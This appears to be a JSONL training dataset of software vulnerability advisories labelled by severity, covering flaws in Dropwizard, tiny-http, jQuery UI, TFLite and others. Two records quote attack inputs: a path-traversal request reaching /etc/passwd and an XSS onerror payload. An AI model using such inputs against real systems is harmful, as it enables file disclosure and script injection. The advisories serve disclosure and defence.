-{"id": "c0841f0c4170ab339f28", "text": "Remote Code Execution (RCE) vulnerability in dropwizard-validation\n\n### Summary\n\nA server-side template injection was identified in the self-validating ([`@SelfValidating`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/SelfValidating.html)) feature of **dropwizard-validation** enabling attackers to inject arbitrary Java EL expressions, leading to Remote Code Execution (RCE) vulnerability.\n\nIf you're using a self-validating bean (via [`@SelfValidating`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/SelfValidating.html)), an upgrade to Dropwizard 1.3.21/2.0.3 or later is strongly recommended.\n\nThe changes introduced in Dropwizard 1.3.19 and 2.0.2 (see [GHSA-3mcp-9wr4-cjqf](https://github.com/dropwizard/dropwizard/security/advisories/GHSA-3mcp-9wr4-cjqf)/[CVE-2020-5245](https://github.com/advisories/GHSA-3mcp-9wr4-cjqf)) unfortunately didn't fix the underlying issue completely.\n\n### Impact\n\nThis issue may allow Remote Code Execution (RCE), allowing to run arbitrary code on the host system (with the privileges of the Dropwizard service account privileges) by injecting arbitrary [Java Expression Language (EL)](https://docs.jboss.org/hibernate/validator/6.1/reference/en-US/html_single/#section-interpolation-with-message-expressions) expressions when using the self-validating feature ([`@SelfValidating`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/SelfValidating.html), [`@SelfValidation`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/SelfValidation.html)) in **dropwizard-validation**.\n\n### Patches\n\nThe issue has been fixed in **dropwizard-validation** **1.3.21** and **2.0.3** or later. We strongly recommend upgrading to one of these versions.\n\nThe evaluation of EL expressions has been disabled by default now.\n\nIn order to use some interpolation in the violation messages added to [`ViolationCollector`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/ViolationCollector.html), it has to be explicitly allowed by setting [`SelfValidating#escapeExpressions()`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/SelfValidating.html#escapeExpressions--) to `false`.\n\nIt is also recommended to use the `addViolation` methods supporting message parameters instead of EL expressions introduced in Dropwizard 1.3.21 and 2.0.3:\n* [`ViolationCollector#addViolation(String, Map<String, Object>`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/ViolationCollector.html#addViolation-java.lang.String-java.util.Map-)\n* [`ViolationCollector#addViolation(String, String, Map<String, Object>`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/ViolationCollector.html#addViolation-java.lang.String-java.lang.String-java.util.Map-)\n* [`ViolationCollector#addViolation(String, String, Integer, Map<String, Object>`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/ViolationCollector.html#addViolation-java.lang.String-java.lang.Integer-java.lang.String-java.util.Map-)\n* [`ViolationCollector#addViolation(String, String, String, Map<String, Object>`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/ViolationCollector.html#addViolation-java.lang.String-java.lang.String-java.lang.String-java.util.Map-)\n\n### Workarounds\n\nIf you are not able to upgrade to one of the aforementioned versions of **dropwizard-validation** but still want to use the [`@SelfValidating`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.2/io/dropwizard/validation/selfvalidating/SelfValidating.html) feature, make sure to properly sanitize any message you're adding to the [`ViolationCollector`](https://javadoc.io/static/io.", "text_raw": "Remote Code Execution (RCE) vulnerability in dropwizard-validation\n\n[Severity: HIGH]\n\n### Summary\n\nA server-side template injection was identified in the self-validating ([`@SelfValidating`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/SelfValidating.html)) feature of **dropwizard-validation** enabling attackers to inject arbitrary Java EL expressions, leading to Remote Code Execution (RCE) vulnerability.\n\nIf you're using a self-validating bean (via [`@SelfValidating`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/SelfValidating.html)), an upgrade to Dropwizard 1.3.21/2.0.3 or later is strongly recommended.\n\nThe changes introduced in Dropwizard 1.3.19 and 2.0.2 (see [GHSA-3mcp-9wr4-cjqf](https://github.com/dropwizard/dropwizard/security/advisories/GHSA-3mcp-9wr4-cjqf)/[CVE-2020-5245](https://github.com/advisories/GHSA-3mcp-9wr4-cjqf)) unfortunately didn't fix the underlying issue completely.\n\n### Impact\n\nThis issue may allow Remote Code Execution (RCE), allowing to run arbitrary code on the host system (with the privileges of the Dropwizard service account privileges) by injecting arbitrary [Java Expression Language (EL)](https://docs.jboss.org/hibernate/validator/6.1/reference/en-US/html_single/#section-interpolation-with-message-expressions) expressions when using the self-validating feature ([`@SelfValidating`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/SelfValidating.html), [`@SelfValidation`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/SelfValidation.html)) in **dropwizard-validation**.\n\n### Patches\n\nThe issue has been fixed in **dropwizard-validation** **1.3.21** and **2.0.3** or later. We strongly recommend upgrading to one of these versions.\n\nThe evaluation of EL expressions has been disabled by default now.\n\nIn order to use some interpolation in the violation messages added to [`ViolationCollector`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/ViolationCollector.html), it has to be explicitly allowed by setting [`SelfValidating#escapeExpressions()`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/SelfValidating.html#escapeExpressions--) to `false`.\n\nIt is also recommended to use the `addViolation` methods supporting message parameters instead of EL expressions introduced in Dropwizard 1.3.21 and 2.0.3:\n* [`ViolationCollector#addViolation(String, Map<String, Object>`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/ViolationCollector.html#addViolation-java.lang.String-java.util.Map-)\n* [`ViolationCollector#addViolation(String, String, Map<String, Object>`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/ViolationCollector.html#addViolation-java.lang.String-java.lang.String-java.util.Map-)\n* [`ViolationCollector#addViolation(String, String, Integer, Map<String, Object>`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/ViolationCollector.html#addViolation-java.lang.String-java.lang.Integer-java.lang.String-java.util.Map-)\n* [`ViolationCollector#addViolation(String, String, String, Map<String, Object>`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.3/io/dropwizard/validation/selfvalidating/ViolationCollector.html#addViolation-java.lang.String-java.lang.String-java.lang.String-java.util.Map-)\n\n\n### Workarounds\n\nIf you are not able to upgrade to one of the aforementioned versions of **dropwizard-validation** but still want to use the [`@SelfValidating`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.2/io/dropwizard/validation/selfvalidating/SelfValidating.html) feature, make sure to properly sanitize any message you're adding to the [`ViolationCollector`](https://ja", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-10", "split": "train"}
-{"id": "9c13e5c9c123d5813996", "text": "Directory Traversal in tiny-http\n\nAffected versions of `tiny-http` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in tiny-http\n\n[Severity: HIGH]\n\nAffected versions of `tiny-http` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "58561083ae1b77ad78a8", "text": "Wowza Streaming Engine 4.5.0 Remote Privilege Escalation Exploit", "text_raw": "Wowza Streaming Engine 4.5.0 Remote Privilege Escalation Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-07-19", "split": "train"}
-{"id": "2624270e23637906a3e9", "text": "Use after free in Rocket\n\nAffected versions of this crate transmuted a &str to a &'static str before pushing it into a StackVec, this value was then popped later in the same function.\n\nThis was assumed to be safe because the reference would be valid while the method's stack was active. In between the push and the pop, however, a function f was called that could invoke a user provided function.\n\nIf the user provided panicked, then the assumption used by the function was no longer true and the transmute to &'static would create an illegal static reference to the string. This could result in a freed string being used during (such as in a Drop implementation) or after (e.g through catch_unwind) the panic unwinding.\n\nThis flaw was corrected in commit `e325e2f` by using a guard object to ensure that the &'static str was dropped inside the function.", "text_raw": "Use after free in Rocket\n\n[Severity: HIGH]\n\nAffected versions of this crate transmuted a &str to a &'static str before pushing it into a StackVec, this value was then popped later in the same function.\n\nThis was assumed to be safe because the reference would be valid while the method's stack was active. In between the push and the pop, however, a function f was called that could invoke a user provided function.\n\nIf the user provided panicked, then the assumption used by the function was no longer true and the transmute to &'static would create an illegal static reference to the string. This could result in a freed string being used during (such as in a Drop implementation) or after (e.g through catch_unwind) the panic unwinding.\n\nThis flaw was corrected in commit `e325e2f` by using a guard object to ensure that the &'static str was dropped inside the function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "19582fe46fd41a0b4b09", "text": "Aubio is vulnerable to a NULL pointer dereference in new_aubio_notes function\n\naubio v0.4.0 to v0.4.8 has a new_aubio_onset NULL pointer dereference in `new_aubio_notes` function within `src/notes/notes.c`.", "text_raw": "Aubio is vulnerable to a NULL pointer dereference in new_aubio_notes function\n\n[Severity: HIGH]\n\naubio v0.4.0 to v0.4.8 has a new_aubio_onset NULL pointer dereference in `new_aubio_notes` function within `src/notes/notes.c`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-26", "split": "train"}
-{"id": "30f14aa4e1a21a1a4b4a", "text": "Cross-Site Scripting in ids-enterprise\n\nVersions of `ids-enterprise` prior to 4.18.2 are vulnerable to Cross-Site Scripting (XSS). The `modal` component fails to sanitize input to the `title` attribute, which may allow attackers to execute arbitrary JavaScript.\n\n## Recommendation\n\nUpgrade to version 4.18.2 or later", "text_raw": "Cross-Site Scripting in ids-enterprise\n\n[Severity: HIGH]\n\nVersions of `ids-enterprise` prior to 4.18.2 are vulnerable to Cross-Site Scripting (XSS). The `modal` component fails to sanitize input to the `title` attribute, which may allow attackers to execute arbitrary JavaScript.\n\n\n## Recommendation\n\nUpgrade to version 4.18.2 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-13", "split": "train"}
-{"id": "667b06fdc6c590e4a25d", "text": "Ansible Path Traversal vulnerability\n\nAnsible fetch module before versions 2.5.15, 2.6.14, 2.7.8 has a path traversal vulnerability which allows copying and overwriting files outside of the specified destination in the local ansible controller host, by not restricting an absolute path.", "text_raw": "Ansible Path Traversal vulnerability\n\n[Severity: LOW]\n\nAnsible fetch module before versions 2.5.15, 2.6.14, 2.7.8 has a path traversal vulnerability which allows copying and overwriting files outside of the specified destination in the local ansible controller host, by not restricting an absolute path.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-04-15", "split": "train"}
-{"id": "c269d190730e655e29b4", "text": "Improper Input Validation in Django\n\nIn Django 1.11.x before 1.11.18, 2.0.x before 2.0.10, and 2.1.x before 2.1.5, an Improper Neutralization of Special Elements in Output Used by a Downstream Component issue exists in `django.views.defaults.page_not_found()`, leading to content spoofing (in a 404 error page) if a user fails to recognize that a crafted URL has malicious content.", "text_raw": "Improper Input Validation in Django\n\n[Severity: HIGH]\n\nIn Django 1.11.x before 1.11.18, 2.0.x before 2.0.10, and 2.1.x before 2.1.5, an Improper Neutralization of Special Elements in Output Used by a Downstream Component issue exists in `django.views.defaults.page_not_found()`, leading to content spoofing (in a 404 error page) if a user fails to recognize that a crafted URL has malicious content.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-01-14", "split": "train"}
-{"id": "b65c4ff51524fc801831", "text": "dalek-browser-chrome Downloads Resources over HTTP\n\nAffected versions of `dalek-browser-chrome` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `dalek-browser-chrome`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available - the author of `dalek` recommends [`TestCafé`](http://devexpress.github.io/testcafe/).\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "dalek-browser-chrome Downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `dalek-browser-chrome` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `dalek-browser-chrome`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available - the author of `dalek` recommends [`TestCafé`](http://devexpress.github.io/testcafe/). \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "6e4c2384e5c6afb7ed44", "text": "Microsoft Windows Scripting Engine Memory Corruption Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Scripting Engine contains an unspecified vulnerability that allows for memory corruption.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Scripting Engine Memory Corruption Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Scripting Engine contains an unspecified vulnerability that allows for memory corruption.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "ba25c52091af3e6872af", "text": "OS Command Injection in MiniMagick\n\nIn `lib/mini_magick/image.rb` in MiniMagick before 4.9.4, a fetched remote image filename could cause remote command execution because `Image.open` input is directly passed to `Kernel#open`, which accepts a `|` character followed by a command.", "text_raw": "OS Command Injection in MiniMagick\n\n[Severity: HIGH]\n\nIn `lib/mini_magick/image.rb` in MiniMagick before 4.9.4, a fetched remote image filename could cause remote command execution because `Image.open` input is directly passed to `Kernel#open`, which accepts a `|` character followed by a command.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-18", "split": "train"}
-{"id": "201239a44df044e255ad", "text": "Use after free in rio\n\nAn issue was discovered in the rio crate through 2020-05-11 for Rust. A struct can be leaked, allowing attackers to obtain sensitive information, cause a use-after-free, or cause a data race.", "text_raw": "Use after free in rio\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the rio crate through 2020-05-11 for Rust. A struct can be leaked, allowing attackers to obtain sensitive information, cause a use-after-free, or cause a data race.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "4dc15a0ab7e633868f06", "text": "Cross-site Scripting in Froala WYSIWYG Editor\n\nFroala WYSIWYG Editor 3.2.6-1 is affected by XSS due to a namespace confusion during parsing.", "text_raw": "Cross-site Scripting in Froala WYSIWYG Editor\n\n[Severity: MEDIUM]\n\nFroala WYSIWYG Editor 3.2.6-1 is affected by XSS due to a namespace confusion during parsing.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-19", "split": "train"}
-{"id": "2f86be4ba21ec0d47549", "text": "actionview Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in Action View in Ruby on Rails 3.x before 3.2.22.3, 4.x before 4.2.7.1, and 5.x before 5.0.0.1 might allow remote attackers to inject arbitrary web script or HTML via text declared as \"HTML safe\" and used as attribute values in tag handlers.", "text_raw": "actionview Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in Action View in Ruby on Rails 3.x before 3.2.22.3, 4.x before 4.2.7.1, and 5.x before 5.0.0.1 might allow remote attackers to inject arbitrary web script or HTML via text declared as \"HTML safe\" and used as attribute values in tag handlers.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "7b5d0e32ce4f48688f91", "text": "Resource Exhaustion in Spring Security\n\nSpring Security versions 5.5.x prior to 5.5.1, 5.4.x prior to 5.4.7, 5.3.x prior to 5.3.10 and 5.2.x prior to 5.2.11 are susceptible to a Denial-of-Service (DoS) attack via the initiation of the Authorization Request in an OAuth 2.0 Client Web and WebFlux application. A malicious user or attacker can send multiple requests initiating the Authorization Request for the Authorization Code Grant, which has the potential of exhausting system resources using a single session or multiple sessions.", "text_raw": "Resource Exhaustion in Spring Security\n\n[Severity: HIGH]\n\nSpring Security versions 5.5.x prior to 5.5.1, 5.4.x prior to 5.4.7, 5.3.x prior to 5.3.10 and 5.2.x prior to 5.2.11 are susceptible to a Denial-of-Service (DoS) attack via the initiation of the Authorization Request in an OAuth 2.0 Client Web and WebFlux application. A malicious user or attacker can send multiple requests initiating the Authorization Request for the Authorization Code Grant, which has the potential of exhausting system resources using a single session or multiple sessions.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-02", "split": "train"}
-{"id": "76ac5a42b32b7d781740", "text": "Improper Verification of Communication Channel in @theia/plugin-ext\n\nIn versions of the @theia/plugin-ext component of Eclipse Theia prior to 1.18.0, Webview contents can be hijacked via postMessage().", "text_raw": "Improper Verification of Communication Channel in @theia/plugin-ext\n\n[Severity: MEDIUM]\n\nIn versions of the @theia/plugin-ext component of Eclipse Theia prior to 1.18.0, Webview contents can be hijacked via postMessage().", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-15", "split": "train"}
-{"id": "f63de258b64df6549289", "text": "Malicious Package in js-regular\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in js-regular\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "e7b2c8d2db9108ed1b67", "text": "Relative Path Traversal in git-delta\n\ngit-delta before 0.8.3 on Windows resolves an executable's pathname as a relative path from the current directory.", "text_raw": "Relative Path Traversal in git-delta\n\n[Severity: HIGH]\n\ngit-delta before 0.8.3 on Windows resolves an executable's pathname as a relative path from the current directory.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "2f12fc88c5fd03815da7", "text": "XSS in the `altField` option of the Datepicker widget in jquery-ui\n\n### Impact\nAccepting the value of the `altField` option of the Datepicker widget from untrusted sources may execute untrusted code. For example, initializing the datepicker in the following way:\n```js\n$( \"#datepicker\" ).datepicker( {\n\taltField: \"<img onerror='doEvilThing()' src='/404' />\",\n} );\n```\nwill call the `doEvilThing` function.\n\n### Patches\nThe issue is fixed in jQuery UI 1.13.0. Any string value passed to the `altField` option is now treated as a CSS selector.\n\n### Workarounds\nA workaround is to not accept the value of the `altField` option from untrusted sources.\n\n### For more information\nIf you have any questions or comments about this advisory, search for a relevant issue in [the jQuery UI repo](https://github.com/jquery/jquery-ui/issues). If you don't find an answer, open a new issue.", "text_raw": "XSS in the `altField` option of the Datepicker widget in jquery-ui\n\n[Severity: MEDIUM]\n\n### Impact\nAccepting the value of the `altField` option of the Datepicker widget from untrusted sources may execute untrusted code. For example, initializing the datepicker in the following way:\n```js\n$( \"#datepicker\" ).datepicker( {\n\taltField: \"<img onerror='doEvilThing()' src='/404' />\",\n} );\n```\nwill call the `doEvilThing` function.\n\n### Patches\nThe issue is fixed in jQuery UI 1.13.0. Any string value passed to the `altField` option is now treated as a CSS selector.\n\n### Workarounds\nA workaround is to not accept the value of the `altField` option from untrusted sources.\n\n### For more information\nIf you have any questions or comments about this advisory, search for a relevant issue in [the jQuery UI repo](https://github.com/jquery/jquery-ui/issues). If you don't find an answer, open a new issue.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-26", "split": "train"}
-{"id": "0a00e0fecf1483b30850", "text": "Uncontrolled Resource Consumption in spray-json when parsing decimal digit fields\n\nLightbend Spray spray-json through 1.3.4 allows remote attackers to cause a denial of service (resource consumption) because of Algorithmic Complexity during the parsing of a field composed of many decimal digits.", "text_raw": "Uncontrolled Resource Consumption in spray-json when parsing decimal digit fields\n\n[Severity: HIGH]\n\nLightbend Spray spray-json through 1.3.4 allows remote attackers to cause a denial of service (resource consumption) because of Algorithmic Complexity during the parsing of a field composed of many decimal digits.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "8779f21f4f115cf61c7c", "text": "Redirect URL matching ignores character casing\n\n### Impact\n\nBefore version v0.34.1, the OAuth 2.0 Client's registered redirect URLs and the redirect URL provided at the OAuth2 Authorization Endpoint where compared using `strings.ToLower` while they should have been compared with a simple string match:\n\n1. Registering a client with allowed redirect URL `https://example.com/callback`\n2. Performing OAuth2 flow and requesting redirect URL `https://example.com/CALLBACK`\n3. Instead of an error (invalid redirect URL), the browser is redirected to `https://example.com/CALLBACK` with a potentially successful OAuth2 response, depending on the state of the overall OAuth2 flow (the user might still deny the request for example).", "text_raw": "Redirect URL matching ignores character casing\n\n[Severity: MEDIUM]\n\n### Impact\n\nBefore version v0.34.1, the OAuth 2.0 Client's registered redirect URLs and the redirect URL provided at the OAuth2 Authorization Endpoint where compared using `strings.ToLower` while they should have been compared with a simple string match:\n\n1. Registering a client with allowed redirect URL `https://example.com/callback`\n2. Performing OAuth2 flow and requesting redirect URL `https://example.com/CALLBACK`\n3. Instead of an error (invalid redirect URL), the browser is redirected to `https://example.com/CALLBACK` with a potentially successful OAuth2 response, depending on the state of the overall OAuth2 flow (the user might still deny the request for example).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "d0f2687d23a68e8ebc40", "text": "Apache Hive 2.1.x before 2.1.2, 2.2.x before 2.2.1, and 2.3.x before 2.3.1 expose an interface through which masking policies can be defined on tables or views, e.g., using Apache Ranger. When a view is created over a given table, the policy enforcement does not happen correctly on the table for masked columns.", "text_raw": "Moderate severity vulnerability that affects org.apache.hive:hive, org.apache.hive:hive-exec, and org.apache.hive:hive-service\n\n[Severity: MEDIUM]\n\nApache Hive 2.1.x before 2.1.2, 2.2.x before 2.2.1, and 2.3.x before 2.3.1 expose an interface through which masking policies can be defined on tables or views, e.g., using Apache Ranger. When a view is created over a given table, the policy enforcement does not happen correctly on the table for masked columns.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-03-14", "split": "train"}
-{"id": "ddd2ea8596ab6d727835", "text": "Integer overflow in TFLite memory allocation\n\n### Impact\nThe TFLite code for allocating `TFLiteIntArray`s is [vulnerable to an integer overflow issue](https://github.com/tensorflow/tensorflow/blob/4ceffae632721e52bf3501b736e4fe9d1221cdfa/tensorflow/lite/c/common.c#L24-L27):\n\n```cc\nint TfLiteIntArrayGetSizeInBytes(int size) {\n  static TfLiteIntArray dummy;\n  return sizeof(dummy) + sizeof(dummy.data[0]) * size;\n}   \n```\n\nAn attacker can craft a model such that the `size` multiplier is so large that the return value overflows the `int` datatype and becomes negative. In turn, this results in [invalid value being given to `malloc`](https://github.com/tensorflow/tensorflow/blob/4ceffae632721e52bf3501b736e4fe9d1221cdfa/tensorflow/lite/c/common.c#L47-L52):\n\n```cc\nTfLiteIntArray* TfLiteIntArrayCreate(int size) {\n  TfLiteIntArray* ret = (TfLiteIntArray*)malloc(TfLiteIntArrayGetSizeInBytes(size));\n  ret->size = size; \n  return ret;\n}\n```\n\nIn this case, `ret->size` would dereference an invalid pointer.\n\n### Patches\nWe have patched the issue in GitHub commit [7c8cc4ec69cd348e44ad6a2699057ca88faad3e5](https://github.com/tensorflow/tensorflow/commit/7c8cc4ec69cd348e44ad6a2699057ca88faad3e5).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Integer overflow in TFLite memory allocation\n\n[Severity: MEDIUM]\n\n### Impact\nThe TFLite code for allocating `TFLiteIntArray`s is [vulnerable to an integer overflow issue](https://github.com/tensorflow/tensorflow/blob/4ceffae632721e52bf3501b736e4fe9d1221cdfa/tensorflow/lite/c/common.c#L24-L27):\n\n```cc\nint TfLiteIntArrayGetSizeInBytes(int size) {\n  static TfLiteIntArray dummy;\n  return sizeof(dummy) + sizeof(dummy.data[0]) * size;\n}   \n```\n\nAn attacker can craft a model such that the `size` multiplier is so large that the return value overflows the `int` datatype and becomes negative. In turn, this results in [invalid value being given to `malloc`](https://github.com/tensorflow/tensorflow/blob/4ceffae632721e52bf3501b736e4fe9d1221cdfa/tensorflow/lite/c/common.c#L47-L52):\n\n```cc\nTfLiteIntArray* TfLiteIntArrayCreate(int size) {\n  TfLiteIntArray* ret = (TfLiteIntArray*)malloc(TfLiteIntArrayGetSizeInBytes(size));\n  ret->size = size; \n  return ret;\n}\n``` \n\nIn this case, `ret->size` would dereference an invalid pointer.\n\n### Patches\nWe have patched the issue in GitHub commit [7c8cc4ec69cd348e44ad6a2699057ca88faad3e5](https://github.com/tensorflow/tensorflow/commit/7c8cc4ec69cd348e44ad6a2699057ca88faad3e5).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "696ba4f52480c740b049", "text": "Aladdin eToken PKI Client v4.5 Virtual File Handling Unspecified Memory Corruption PoC", "text_raw": "Aladdin eToken PKI Client v4.5 Virtual File Handling Unspecified Memory Corruption PoC\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2010-04-11", "split": "train"}
-{"id": "01b00d2d0055071052d2", "text": "HashiCorp Vault underlying database had excessively broad filesystem permissions from v1.4.0 until v1.8.0\n\nHashiCorp Vault and Vault Enterprise 1.4.0 through 1.7.3 initialized an underlying database file associated with the Integrated Storage feature with excessively broad filesystem permissions. Fixed in Vault and Vault Enterprise 1.8.0.", "text_raw": "HashiCorp Vault underlying database had excessively broad filesystem permissions from v1.4.0 until v1.8.0\n\n[Severity: CRITICAL]\n\nHashiCorp Vault and Vault Enterprise 1.4.0 through 1.7.3 initialized an underlying database file associated with the Integrated Storage feature with excessively broad filesystem permissions. Fixed in Vault and Vault Enterprise 1.8.0.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "e2c062124fa31653eaca", "text": "Creation of order credits was not validated by acl in admin orders\n\n### Impact\nCreation of order credits was not validated by ACL in admin orders\n\n### Patches\nWe recommend updating to the current version 6.4.1.1. You can get the update to 6.4.1.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659", "text_raw": "Creation of order credits was not validated by acl in admin orders\n\n[Severity: LOW]\n\n### Impact\nCreation of order credits was not validated by ACL in admin orders\n\n### Patches\nWe recommend updating to the current version 6.4.1.1. You can get the update to 6.4.1.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-06-28", "split": "train"}
